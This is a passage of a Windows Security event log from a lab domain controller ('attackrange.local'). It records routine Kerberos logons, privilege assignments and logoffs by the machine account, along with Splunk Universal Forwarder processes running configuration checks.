SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250259
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x104335
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64420

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250258
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x104335

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250257
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1042D4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250256
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1042D4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64419

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250255
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1042D4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250254
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1100
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10b8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" check-license

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250291
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1050
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x11e4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250290
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11e4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x11d4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250289
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11d4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10b8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250288
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1194
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250287
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1194
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x11a4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250286
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10b8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250285
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x105094

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250284
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x105094
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64426

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250283
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x105094

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250282
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x105033

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250281
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x105033
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64425

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250280
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x105033

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250279
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x104FCD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250278
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x104FCD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64424

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250277
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x104FCD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250276
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x104F6C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250275
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x104F6C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64423

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250274
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x104F6C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250273
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11f0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10b8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunkd" check-transforms-keys

